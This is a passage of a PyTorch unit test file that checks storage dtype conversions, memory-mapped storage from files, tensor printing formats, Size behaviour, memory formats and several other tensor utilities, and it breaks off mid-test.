self.assertEqual(storage.type(), 'torch.IntStorage') self.assertIs(storage.dtype, torch.int32) floatStorage = storage.float() self.assertEqual(floatStorage.size(), 6) self.assertEqual(floatStorage.tolist(), [-1, 0, 1, 2, 3, 4]) self.assertEqual(floatStorage.type(), 'torch.FloatStorage') self.assertEqual(floatStorage.int().tolist(), [-1, 0, 1, 2, 3, 4]) self.assertIs(floatStorage.dtype, torch.float32) halfStorage = storage.half() self.assertEqual(halfStorage.size(), 6) self.assertEqual(halfStorage.tolist(), [-1, 0, 1, 2, 3, 4]) self.assertEqual(halfStorage.type(), 'torch.HalfStorage') self.assertEqual(halfStorage.int().tolist(), [-1, 0, 1, 2, 3, 4]) self.assertIs(halfStorage.dtype, torch.float16) bfloat16Storage = storage.bfloat16() self.assertEqual(bfloat16Storage.size(), 6) self.assertEqual(bfloat16Storage.tolist(), [-1, 0, 1, 2, 3, 4]) self.assertEqual(bfloat16Storage.type(), 'torch.BFloat16Storage') self.assertEqual(bfloat16Storage.int().tolist(), [-1, 0, 1, 2, 3, 4]) self.assertIs(bfloat16Storage.dtype, torch.bfloat16) longStorage = storage.long() self.assertEqual(longStorage.size(), 6) self.assertEqual(longStorage.tolist(), [-1, 0, 1, 2, 3, 4]) self.assertEqual(longStorage.type(), 'torch.LongStorage') self.assertEqual(longStorage.int().tolist(), [-1, 0, 1, 2, 3, 4]) self.assertIs(longStorage.dtype, torch.int64) shortStorage = storage.short() self.assertEqual(shortStorage.size(), 6) self.assertEqual(shortStorage.tolist(), [-1, 0, 1, 2, 3, 4]) self.assertEqual(shortStorage.type(), 'torch.ShortStorage') self.assertEqual(shortStorage.int().tolist(), [-1, 0, 1, 2, 3, 4]) self.assertIs(shortStorage.dtype, torch.int16) doubleStorage = storage.double() self.assertEqual(doubleStorage.size(), 6) self.assertEqual(doubleStorage.tolist(), [-1.0, 0.0, 1.0, 2.0, 3.0, 4.0]) self.assertEqual(doubleStorage.type(), 'torch.DoubleStorage') self.assertEqual(doubleStorage.int().tolist(), [-1, 0, 1, 2, 3, 4]) self.assertIs(doubleStorage.dtype, torch.float64) charStorage = storage.char() self.assertEqual(charStorage.size(), 6) self.assertEqual(charStorage.tolist(), [-1.0, 0.0, 1.0, 2.0, 3.0, 4.0]) self.assertEqual(charStorage.type(), 'torch.CharStorage') self.assertEqual(charStorage.int().tolist(), [-1, 0, 1, 2, 3, 4]) self.assertIs(charStorage.dtype, torch.int8) byteStorage = storage.byte() self.assertEqual(byteStorage.size(), 6) self.assertEqual(byteStorage.tolist(), [255, 0, 1, 2, 3, 4]) self.assertEqual(byteStorage.type(), 'torch.ByteStorage') self.assertEqual(byteStorage.int().tolist(), [255, 0, 1, 2, 3, 4]) self.assertIs(byteStorage.dtype, torch.uint8) boolStorage = storage.bool() self.assertEqual(boolStorage.size(), 6) self.assertEqual(boolStorage.tolist(), [True, False, True, True, True, True]) self.assertEqual(boolStorage.type(), 'torch.BoolStorage') self.assertEqual(boolStorage.int().tolist(), [1, 0, 1, 1, 1, 1]) self.assertIs(boolStorage.dtype, torch.bool) complexfloat_storage = torch.ComplexFloatStorage([-1, 0, 1 + 2j, 2.5j, 3.5, 4 - 2j]) self.assertEqual(complexfloat_storage.size(), 6) self.assertEqual(complexfloat_storage.tolist(), [-1, 0, 1 + 2j, 2.5j, 3.5, 4 - 2j]) self.assertEqual(complexfloat_storage.type(), 'torch.ComplexFloatStorage') self.assertIs(complexfloat_storage.dtype, torch.complex64) complexdouble_storage = complexfloat_storage.complex_double() self.assertEqual(complexdouble_storage.size(), 6) self.assertEqual(complexdouble_storage.tolist(), [-1, 0, 1 + 2j, 2.5j, 3.5, 4 - 2j]) self.assertEqual(complexdouble_storage.type(), 'torch.ComplexDoubleStorage') self.assertIs(complexdouble_storage.dtype, torch.complex128) def test_from_file(self): def assert_with_filename(filename): size = 10000 s1 = torch.FloatStorage.from_file(filename, True, size) t1 = torch.FloatTensor(s1).copy_(torch.randn(size)) # check mapping s2 = torch.FloatStorage.from_file(filename, True, size) t2 = torch.FloatTensor(s2) self.assertEqual(t1, t2, atol=0, rtol=0) # check changes to t1 from t2 rnum = random.uniform(-1, 1) t1.fill_(rnum) self.assertEqual(t1, t2, atol=0, rtol=0) # check changes to t2 from t1 rnum = random.uniform(-1, 1) t2.fill_(rnum) self.assertEqual(t1, t2, atol=0, rtol=0) # release the tensors del s1, t1, s2, t2 with TemporaryFileName() as fname: assert_with_filename(fname) if IS_FILESYSTEM_UTF8_ENCODING: with TemporaryDirectoryName(suffix='中文') as dname, TemporaryFileName(dir=dname) as fname: assert_with_filename(fname) def test_torch_from_file(self): def assert_with_filename(filename): size = 10000 s1 = torch.from_file(filename, True, size, dtype=torch.float) t1 = torch.FloatTensor(s1).copy_(torch.randn(size)) # check mapping s2 = torch.from_file(filename, True, size, dtype=torch.float) t2 = torch.FloatTensor(s2) self.assertEqual(t1, t2, atol=0, rtol=0) # check changes to t1 from t2 rnum = random.uniform(-1, 1) t1.fill_(rnum) self.assertEqual(t1, t2, atol=0, rtol=0) # check changes to t2 from t1 rnum = random.uniform(-1, 1) t2.fill_(rnum) self.assertEqual(t1, t2, atol=0, rtol=0) # release the tensors del s1, t1, s2, t2 with TemporaryFileName() as fname: assert_with_filename(fname) if IS_FILESYSTEM_UTF8_ENCODING: with TemporaryDirectoryName(suffix='中文') as dname, TemporaryFileName(dir=dname) as fname: assert_with_filename(fname) def test_print(self): default_type = torch.tensor([]).type() for t in torch._tensor_classes: if t == torch.HalfTensor: continue # HalfTensor does not support fill if t.is_sparse: continue if t.is_cuda and not torch.cuda.is_available(): continue obj = t(100, 100).fill_(1) obj.__repr__() str(obj) # test half tensor obj = torch.rand(100, 100, device='cpu').half() obj.__repr__() str(obj) for t in torch._storage_classes: if t == torch.BFloat16Storage: continue # Fix once fill is enabled for bfloat16 if t.is_cuda and not torch.cuda.is_available(): continue if t == torch.BoolStorage or t == torch.cuda.BoolStorage: obj = t(100).fill_(True) else: obj = t(100).fill_(1) obj.__repr__() str(obj) # test complex tensor # complex tensor print uses two formatters, one for real values # and the other for imag values. this is consistent with numpy x = torch.tensor([2.3 + 4j, 7 + 6j]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([2.3000+4.j, 7.0000+6.j])''') # test scientific notation for complex tensors x = torch.tensor([1e28 + 2j , -1e-28j]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1.0000e+28+2.0000e+00j, -0.0000e+00-1.0000e-28j])''') # test big integer x = torch.tensor(2341234123412341) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor(2341234123412341)''') # test scientific notation x = torch.tensor([1e28, 1e-28]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1.0000e+28, 1.0000e-28])''') # test scientific notation using set_printoptions x = torch.tensor([1e2, 1e-2]) torch.set_printoptions(sci_mode=True) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1.0000e+02, 1.0000e-02])''') torch.set_printoptions(sci_mode=False) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([ 100.0000, 0.0100])''') torch.set_printoptions(sci_mode=None) # reset to the default value # test no leading space if all elements positive x = torch.tensor([1, 2]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1, 2])''') # test for leading space if there are negative elements x = torch.tensor([1, -2]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([ 1, -2])''') # test inf and nan x = torch.tensor([4, inf, 1.5, -inf, 0, nan, 1]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([4.0000, inf, 1.5000, -inf, 0.0000, nan, 1.0000])''') y = torch.tensor([4, inf, complex(1.5, inf), complex(-inf, 4), 0, complex(nan, inf), complex(3, nan)]) self.assertEqual(y.__repr__(), str(y)) expected_str = '''\ tensor([4.0000+0.j, inf+0.j, 1.5000+infj, -inf+4.j, 0.0000+0.j, nan+infj, 3.0000+nanj])''' self.assertExpectedInline(str(y), expected_str) # test dtype torch.set_default_dtype(torch.float) x = torch.tensor([1e-324, 1e-323, 1e-322, 1e307, 1e308, 1e309], dtype=torch.float64) self.assertEqual(x.__repr__(), str(x)) expected_str = '''\ tensor([ 0.0000e+00, 9.8813e-324, 9.8813e-323, 1.0000e+307, 1.0000e+308, inf], dtype=torch.float64)''' self.assertExpectedInline(str(x), expected_str) # test changing default dtype torch.set_default_dtype(torch.float64) self.assertEqual(x.__repr__(), str(x)) expected_str = '''\ tensor([ 0.0000e+00, 9.8813e-324, 9.8813e-323, 1.0000e+307, 1.0000e+308, inf])''' self.assertExpectedInline(str(x), expected_str) # test summary x = torch.zeros(10000) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([0., 0., 0., ..., 0., 0., 0.])''') # test internal summary function x = torch.rand(1, 20, 5, 30) summary = torch._tensor_str.get_summarized_data(x) self.assertEqual(summary.shape, (1, 6, 5, 6)) first_and_last = [0, 1, 2, -3, -2, -1] self.assertEqual(summary, x[:, first_and_last][..., first_and_last]) # test device if torch.cuda.is_available(): x = torch.tensor([123], device='cuda:0') self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([123], device='cuda:0')''') # test changing default to cuda torch.set_default_tensor_type(torch.cuda.FloatTensor) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([123])''') # test printing a tensor on a different gpu than current one. if torch.cuda.device_count() >= 2: with torch.cuda.device(1): self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([123], device='cuda:0')''') # test printing cpu tensor when default device is cuda y = torch.tensor([123], device='cpu') self.assertEqual(y.__repr__(), str(y)) self.assertExpectedInline(str(y), '''tensor([123], device='cpu')''') torch.set_default_tensor_type(default_type) # test integral floats and requires_grad x = torch.tensor([123.], requires_grad=True) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([123.], requires_grad=True)''') # test non-contiguous print # sliced tensor should have > PRINT_OPTS.threshold elements x = torch.ones(100, 2, 2, 10) y = x.as_strided(size=(100, 2, 10), stride=(2 * 2 * 10, 2 * 10, 1)) self.assertEqual(str(y), y.__repr__()) expected_str = '''\ tensor([[[1., 1., 1., ..., 1., 1., 1.], [1., 1., 1., ..., 1., 1., 1.]], [[1., 1., 1., ..., 1., 1., 1.], [1., 1., 1., ..., 1., 1., 1.]], [[1., 1., 1., ..., 1., 1., 1.], [1., 1., 1., ..., 1., 1., 1.]], ..., [[1., 1., 1., ..., 1., 1., 1.], [1., 1., 1., ..., 1., 1., 1.]], [[1., 1., 1., ..., 1., 1., 1.], [1., 1., 1., ..., 1., 1., 1.]], [[1., 1., 1., ..., 1., 1., 1.], [1., 1., 1., ..., 1., 1., 1.]]])\ ''' self.assertExpectedInline(str(y), expected_str) x = torch.ones(100, 2, 2, 10) * (1 + 1j) y = x.as_strided(size=(100, 2, 10), stride=(2 * 2 * 10, 2 * 10, 1)) self.assertEqual(str(y), y.__repr__()) expected_str = '''\ tensor([[[1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j], [1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j]], [[1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j], [1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j]], [[1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j], [1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j]], ..., [[1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j], [1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j]], [[1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j], [1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j]], [[1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j], [1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j]]])\ ''' self.assertExpectedInline(str(y), expected_str) # test print 0-dim tensor: there's no 0-dim in Numpy, we match arrayprint style x = torch.tensor(0.00002) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor(2.0000e-05)''') # test print boolean tensor x = torch.tensor([True]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([True])''') x = torch.tensor(True) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor(True)''') # [Numpy] test print float in sci_mode when min < 0.0001. x = torch.tensor([0.00002]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([2.0000e-05])''') # [Numpy] test print complex in sci_mode when real_min < 0.0001 and (or) imag_min < 0.0001. x = torch.tensor([0.00002]) * (1 + 1j) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([2.0000e-05+2.0000e-05j])''') # [Numpy] test print float in sci_mode when max > 1e8. # TODO: Pytorch uses fixed precision to print, while Numpy uses dragon4_scientific # to do automatic trimming and padding. x = torch.tensor([123456789.]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1.2346e+08])''') # [Numpy] test print float in sci_mode when max / min > 1000. x = torch.tensor([0.01, 11]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1.0000e-02, 1.1000e+01])''') # [Numpy] test print int max / min > 1000, no sci_mode x = torch.tensor([1, 1010]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([ 1, 1010])''') # [Numpy] test print int > 1e8, no sci_mode x = torch.tensor([1000000000]) # 1e9 self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1000000000])''') # [Numpy] test printing float in int_mode x = torch.tensor([1., 1000.]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([ 1., 1000.])''') # [Numpy] test printing float in int_mode in sci format when max / min > 1000. x = torch.tensor([1., 1010.]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1.0000e+00, 1.0100e+03])''') def test_sizeof(self) -> None: sizeof_empty = torch.randn(0).storage().__sizeof__() sizeof_10 = torch.randn(10).storage().__sizeof__() sizeof_100 = torch.randn(100).storage().__sizeof__() self.assertEqual((sizeof_100 - sizeof_empty) // (sizeof_10 - sizeof_empty), 10) self.assertEqual((sizeof_100 - sizeof_empty) % (sizeof_10 - sizeof_empty), 0) sizeof_empty = torch.randn(0).to(torch.uint8).storage().__sizeof__() sizeof_10 = torch.randn(10).to(torch.uint8).storage().__sizeof__() sizeof_100 = torch.randn(100).to(torch.uint8).storage().__sizeof__() self.assertEqual((sizeof_100 - sizeof_empty) // (sizeof_10 - sizeof_empty), 10) self.assertEqual((sizeof_100 - sizeof_empty) % (sizeof_10 - sizeof_empty), 0) def test_iter(self) -> None: x = torch.randn(5, 5) for i, sub in enumerate(x): self.assertEqual(sub, x[i]) x = torch.tensor([]) self.assertEqual(list(x), []) def test_assertEqual(self) -> None: x = torch.FloatTensor([0]) self.assertEqual(x, 0) xv = torch.autograd.Variable(x) self.assertEqual(xv, 0) self.assertEqual(x, xv) self.assertEqual(xv, x) # Tests that setting atol or rtol without the other throws self.assertRaises(AssertionError, lambda: self.assertEqual(x, xv, atol=4)) self.assertRaises(AssertionError, lambda: self.assertEqual(x, xv, rtol=4)) self.assertRaisesRegex(TypeError, "takes from 3 to 4 positional arguments", lambda: self.assertEqual(x, xv, "", 1.0)) # type: ignore[misc] def test_new(self) -> None: x = torch.autograd.Variable(torch.tensor([])) y = torch.autograd.Variable(torch.randn(4, 4)) z = torch.autograd.Variable(torch.IntTensor([1, 2, 3])) self.assertEqual(x.new().shape, [0]) self.assertEqual(x.new(), x) self.assertEqual(x.new(1, 2).shape, [1, 2]) self.assertEqual(x.new(torch.Size([3, 4])).shape, [3, 4]) self.assertEqual(x.new([3, 4]).shape, [2]) self.assertEqual(x.new([3, 4]).tolist(), [3, 4]) self.assertEqual(x.new((3, 4)).tolist(), [3, 4]) self.assertEqual(x.new([np.int32(3), np.float64(4)]).tolist(), [3, 4]) self.assertEqual(x.new(np.array((3, 4))).tolist(), [3, 4]) self.assertEqual(x.new([z[2], z[0] + 3]).tolist(), [3, 4]) self.assertEqual(x.new(size=(3, 4)).shape, [3, 4]) self.assertEqual(x.new(()).shape, [0]) self.assertEqual(x.new(y.storage()).data_ptr(), y.data_ptr()) self.assertEqual(x.new(y).data_ptr(), y.data_ptr()) self.assertIsNot(x.new(y), y) self.assertRaises(TypeError, lambda: x.new(z)) # TypeError would be better self.assertRaises(RuntimeError, lambda: x.new(z.storage())) @unittest.skipIf(PYTORCH_CUDA_MEMCHECK, "is_pinned uses failure to detect pointer property") def test_pin_memory(self): x = torch.randn(3, 5) self.assertFalse(x.is_pinned()) if not torch.cuda.is_available(): self.assertRaises(RuntimeError, lambda: x.pin_memory()) else: pinned = x.pin_memory() self.assertTrue(pinned.is_pinned()) self.assertEqual(pinned, x) self.assertNotEqual(pinned.data_ptr(), x.data_ptr()) # test that pin_memory on already pinned tensor has no effect self.assertIs(pinned, pinned.pin_memory()) self.assertEqual(pinned.data_ptr(), pinned.pin_memory().data_ptr()) def test_error_msg_type_translation(self): with self.assertRaisesRegex( RuntimeError, # message includes both Double and Long '(?=.*Double)(?=.*Long)'): # Calls model with a LongTensor input but DoubleTensor weights input = torch.zeros(1, 1, 1, 6, dtype=torch.long) weight = torch.nn.Parameter(torch.zeros(1, 1, 1, 3, dtype=torch.double)) model = torch.nn.Conv2d(1, 1, (1, 3), stride=1, padding=0, bias=False) model.weight = weight out = model(input) def test_apply(self): x = torch.arange(1, 6) res = x.clone().apply_(lambda k: k + k) self.assertEqual(res, x * 2) self.assertRaises(TypeError, lambda: x.apply_(lambda k: "str")) def test_map(self): x = torch.autograd.Variable(torch.randn(3, 3)) y = torch.autograd.Variable(torch.randn(3)) res = x.clone() res.map_(y, lambda a, b: a + b) self.assertEqual(res, x + y) self.assertRaisesRegex(TypeError, "not callable", lambda: res.map_(y, "str")) def test_map2(self): x = torch.autograd.Variable(torch.randn(3, 3)) y = torch.autograd.Variable(torch.randn(3)) z = torch.autograd.Variable(torch.randn(1, 3)) res = x.clone() res.map2_(y, z, lambda a, b, c: a + b * c) self.assertEqual(res, x + y * z) z.requires_grad = True self.assertRaisesRegex( RuntimeError, "requires grad", lambda: res.map2_(y, z, lambda a, b, c: a + b * c)) def test_Size(self): x = torch.Size([1, 2, 3]) self.assertIsInstance(x, tuple) self.assertEqual(x[0], 1) self.assertEqual(x[1], 2) self.assertEqual(x[2], 3) self.assertEqual(len(x), 3) self.assertRaises(TypeError, lambda: torch.Size(torch.ones(3))) self.assertIsInstance(x * 2, torch.Size) self.assertIsInstance(x[:-1], torch.Size) self.assertIsInstance(x + x, torch.Size) def test_Size_scalar(self): three = torch.tensor(3) two = torch.tensor(2) x = torch.Size([0, 1, two, three, 4]) for i in range(1, 5): self.assertEqual(x[i], i) def test_Size_iter(self): for sizes in [iter([1, 2, 3, 4, 5]), range(1, 6)]: x = torch.Size(sizes) for i in range(0, 5): self.assertEqual(x[i], i + 1) def test_t_not_2d_error(self): self.assertRaises(RuntimeError, lambda: torch.randn(2, 3, 4).t()) self.assertRaises(RuntimeError, lambda: torch.randn(2, 3, 4).t_()) # skip this test for now as it affects all tests @unittest.skipIf(True, "flush_denormal not supported") def test_set_flush_denormal(self): tiny_float = 1e-42 tiny_double = 1e-320 float_tensor = torch.FloatTensor([1.0, tiny_float]) double_tensor = torch.DoubleTensor([1.0, tiny_float, tiny_double]) self.assertEqual(float_tensor[0], 1.0, atol=0.0, rtol=0) self.assertEqual(float_tensor[1], tiny_float, atol=tiny_float / 16, rtol=0) self.assertEqual(double_tensor[0], 1.0, atol=0.0, rtol=0) self.assertEqual(double_tensor[1], tiny_float, atol=0.0, rtol=0) self.assertEqual(double_tensor[2], tiny_double, atol=0.0, rtol=0) torch.set_flush_denormal(True) self.assertEqual(float_tensor[0], 1.0, atol=0.0, rtol=0) self.assertEqual(float_tensor[1], 0.0, atol=0.0, rtol=0) # tiny_float to zero self.assertEqual(double_tensor[0], 1.0, atol=0.0, rtol=0) # tiny_float is not converted to zero in double type self.assertEqual(double_tensor[1], tiny_float, atol=0.0, rtol=0) self.assertEqual(double_tensor[2], 0.0, atol=0.0, rtol=0) # tiny_double to zero torch.set_flush_denormal(False) def test_show_config(self): # We can't usefully test the output; just make sure this doesn't crash torch.__config__.show() @unittest.skipIf(IS_FBCODE, "CXX_FLAGS is only for OSS build.") def test_cxx_flags(self): torch.__config__._cxx_flags() def test_parallel_info(self): torch.__config__.parallel_info() @slowTest def test_slow_test(self): # Just a smoketest to make sure our slowTest decorator works. pass def test_is_nonzero(self): with self.assertRaisesRegex(RuntimeError, "Boolean value of Tensor with no values is ambiguous"): torch.tensor([]).is_nonzero() with self.assertRaisesRegex(RuntimeError, "Boolean value of Tensor with more than one value is ambiguous"): torch.tensor([0, 0]).is_nonzero() self.assertFalse(torch.tensor(0).is_nonzero()) self.assertTrue(torch.tensor(1).is_nonzero()) self.assertFalse(torch.tensor([0]).is_nonzero()) self.assertTrue(torch.tensor([1]).is_nonzero()) self.assertFalse(torch.tensor([[0]]).is_nonzero()) self.assertTrue(torch.tensor([[1]]).is_nonzero()) self.assertTrue(torch.tensor(0.1).is_nonzero()) self.assertTrue(torch.tensor(-0.1).is_nonzero()) self.assertFalse(torch.tensor(0.0).is_nonzero()) self.assertTrue(torch.tensor(True).is_nonzero()) self.assertFalse(torch.tensor(False).is_nonzero()) self.assertFalse(torch.tensor(0 + 0j).is_nonzero()) self.assertTrue(torch.tensor(0 + 0.1j).is_nonzero()) def test_assert_async(self): with self.assertRaisesRegex(RuntimeError, "Boolean value of Tensor with no values is ambiguous"): torch._assert_async(torch.tensor([])) with self.assertRaisesRegex(RuntimeError, "Boolean value of Tensor with more than one value is ambiguous"): torch._assert_async(torch.tensor([0, 0])) with self.assertRaisesRegex(RuntimeError, "Expected Tensor with single nonzero value, but got zero"): torch._assert_async(torch.tensor(0)) torch._assert_async(torch.tensor(1)) torch._assert_async(torch.tensor(0.1)) torch._assert_async(torch.tensor(-0.1)) with self.assertRaisesRegex(RuntimeError, "Expected Tensor with single nonzero value, but got zero"): torch._assert_async(torch.tensor(0.0)) torch._assert_async(torch.tensor(True)) with self.assertRaisesRegex(RuntimeError, "Expected Tensor with single nonzero value, but got zero"): torch._assert_async(torch.tensor(False)) torch._assert_async(torch.tensor(0 + 0.1j)) with self.assertRaisesRegex(RuntimeError, "Expected Tensor with single nonzero value, but got zero"): torch._assert_async(torch.tensor(0 + 0j)) # NB: we must not be built with CUDA; if we are built with CUDA but no CUDA # is available, we get a different error. @unittest.skipIf(torch.backends.cuda.is_built() or IS_SANDCASTLE, "CUDA is built, can't test CUDA not built error") def test_cuda_not_built(self): msg = "Torch not compiled with CUDA enabled" self.assertRaisesRegex(AssertionError, msg, lambda: torch.cuda.current_device()) self.assertRaisesRegex(AssertionError, msg, lambda: torch.tensor([1], device="cuda")) self.assertRaisesRegex(AssertionError, msg, lambda: torch.tensor([1]).cuda()) self.assertRaisesRegex(TypeError, msg, lambda: torch.cuda.FloatTensor()) self.assertRaisesRegex(TypeError, msg, lambda: torch.set_default_tensor_type(torch.cuda.FloatTensor)) self.assertRaisesRegex(AssertionError, msg, lambda: torch.tensor([1]).to(device="cuda")) def test_has_internal_overlap(self): OVERLAP_NO = 0 OVERLAP_YES = 1 OVERLAP_TOO_HARD = 2 # Check for contiguous tensors a = torch.randn(3, 3) self.assertEqual(torch._debug_has_internal_overlap(a), OVERLAP_NO) # Checks for zero strides b = torch.randn(1, 3) b_expanded = b.expand(4, 3) self.assertEqual(torch._debug_has_internal_overlap(b_expanded), OVERLAP_YES) # Check for zero strided, size 1 axis, in non-contiguous storage (gh-33812) c = torch.randn(10).as_strided([2, 1, 5], [1, 0, 2]) self.assertEqual(torch._debug_has_internal_overlap(c), OVERLAP_NO) c = torch.randn(2, 1, 10)[::2].as_strided((2, 1, 5), (10, 0, 2)) self.assertEqual(torch._debug_has_internal_overlap(c), OVERLAP_TOO_HARD) def test_allow_tensor_metadata_change(self): def do_test(t): with self.assertRaisesRegex( RuntimeError, "set_sizes_contiguous is not allowed on a Tensor created from .data or .detach()"): t.resize_((2, 1)) with self.assertRaisesRegex( RuntimeError, "set_storage is not allowed on a Tensor created from .data or .detach()"): t.set_() with self.assertRaisesRegex( RuntimeError, "set_storage_offset is not allowed on a Tensor created from .data or .detach()"): t.set_(t.storage(), 0, t.size(), list(t.stride())) do_test(torch.tensor([[1, 2]]).data) do_test(torch.tensor([[1, 2]]).detach()) def test_c10_layer_norm(self): # test that we can call c10 ops and they return a reasonable result X = torch.rand(5, 5, dtype=torch.float) weight = torch.rand(*X.size()[1:], dtype=torch.float) bias = torch.rand(*X.size()[1:], dtype=torch.float) epsilon = 1e-4 expected_norm = torch.nn.functional.layer_norm( X, X.size()[1:], weight=weight, bias=bias, eps=epsilon) actual_norm, actual_mean, actual_stdev = \ torch.ops._caffe2.LayerNorm(torch.tensor(X), torch.tensor( weight), torch.tensor(bias), 1, epsilon, True) torch.testing.assert_close(expected_norm, actual_norm) def test_memory_format(self): def test_helper(x, memory_format): y = x.contiguous(memory_format=memory_format) self.assertFalse(y.is_contiguous()) self.assertTrue(y.is_contiguous(memory_format=memory_format)) self.assertEqual(y, x) test_helper(torch.randn(4, 3, 8, 8), torch.channels_last) test_helper(torch.randn(4, 3, 8, 8, 8), torch.channels_last_3d) def test_memory_format_contiguous_returns_same_tensor_if_already_satisfies(self): def test_helper(x, memory_format): alias = x.contiguous(memory_format=memory_format) alias.fill_(7) self.assertEqual(x, alias) test_helper(torch.randn(4, 8, 8, 3).permute(0, 3, 1, 2), torch.channels_last) test_helper(torch.randn(4, 8, 8, 8, 3).permute(0, 4, 1, 2, 3), torch.channels_last_3d) def test_memory_format_empty(self): def test_helper(dim1, dim2, memory_format): with self.assertRaises(RuntimeError): x = torch.empty(dim1, memory_format=memory_format) x = torch.empty(dim2, memory_format=memory_format) self.assertTrue(x.is_contiguous(memory_format=memory_format)) test_helper((3, 3), (3, 3, 3, 3), torch.channels_last) test_helper((3, 3, 3), (3, 3, 3, 3, 3), torch.channels_last_3d) def test_subclass_tensors(self): # raise an error when trying to subclass FloatTensor with self.assertRaisesRegex(TypeError, "type 'torch.FloatTensor' is not an acceptable base type"): class Foo1(torch.FloatTensor): pass # but allow subclassing Tensor: class Foo2(torch.Tensor): def foo(self): return 5 f = Foo2() self.assertEqual(f.foo(), 5) def test_ndim(self): a = torch.randn(1, 2, 3) self.assertEqual(3, a.ndim) b = torch.randn(()) self.assertEqual(0, b.ndim) c = torch.randn(1, 0) self.assertEqual(2, c.ndim) def test_fill_diagonal(self): a1 = torch.randn(7, 3) a2 = a1.clone() v = 1 for i in range(3): a2[i][i] = v a1.fill_diagonal_(v) self.assertEqual(a1, a2) b1 = torch.randn(7, 3) b2 = b1.clone() for i in range(3): b2[i][i] = v b2[i + 4][i] = v b1.fill_diagonal_(v, wrap=True) self.assertEqual(b1, b2) c1 = torch.rand(3, 3, 3) c2 = c1.clone() for i in range(3): c2[i][i][i] = v c1.fill_diagonal_(v) self.assertEqual(c1, c2) # non-contiguous tensor d1 = torch.rand(3, 3, 3)[:, 1, ...] d2 = d1.clone() for i in range(3): d2[i][i] = v d1.fill_diagonal_(v) self.assertEqual(d1, d2) e1 = torch.rand(7, 3, 3)[:, 1, ...] e2 = e1.clone() for i in range(3): e2[i][i] = v e2[i + 4][i] = v e1.fill_diagonal_(v, wrap=True) self.assertEqual(e1, e2) def test_batch_norm_cpu_inference(self): # input nchw in (2,1,1,1), (2,2,2,2) inputs = [ torch.tensor([[[[-0.5000]]], [[[0.5000]]]]), torch.tensor([ [ [[-0.5000, 0.5000], [-1.0000, 1.0000]], [[-0.2500, -0.5000], [0.2500, 0.5000]] ], [ [[0.1000, 1.0000], [1.0000, 0.1000]], [[1.0000, 0.5000], [1.5000, -1.5000]] ]])] # output nchw in (2,1,1,1), (2,2,2,2) outputs = [ torch.tensor([ [[[-0.499997496604919433593750000]]], [[[0.499997496604919433593750000]]]]), torch.tensor([ [[[-0.499997496604919433593750000, 0.499997496604919433593750000], [-0.999994993209838867187500000, 0.999994993209838867187500000]], [[-0.249998748302459716796875000, -0.499997496604919433593750000], [0.249998748302459716796875000, 0.499997496604919433593750000]]], [[[0.099999502301216125488281250, 0.999994993209838867187500000], [0.999994993209838867187500000, 0.099999502301216125488281250]], [[0.999994993209838867187500000, 0.499997496604919433593750000], [1.499992489814758300781250000, -1.499992489814758300781250000]]]])] for i in range(len(inputs)): for affine in [False, True]: m = torch.nn.BatchNorm2d(inputs[i].size()[1], 1e-05, 0.1, affine=affine) m.eval() # contiguous case input1 = inputs[i].contiguous() output1 = m(input1) # non-contiguous case input2 = input1.permute(0, 1, 3, 2) output2 = m(input2).permute(0, 1, 3, 2) # channels last case input3 = input1.contiguous(memory_format=torch.channels_last) output3 = m(input3) self.assertEqual(output3, outputs[i]) self.assertEqual(output3, output1) self.assertEqual(output3, output2) @noarchTest def test_empty_meta(self): x = torch.empty(2 ** 20, 2 ** 20, device='meta') y = 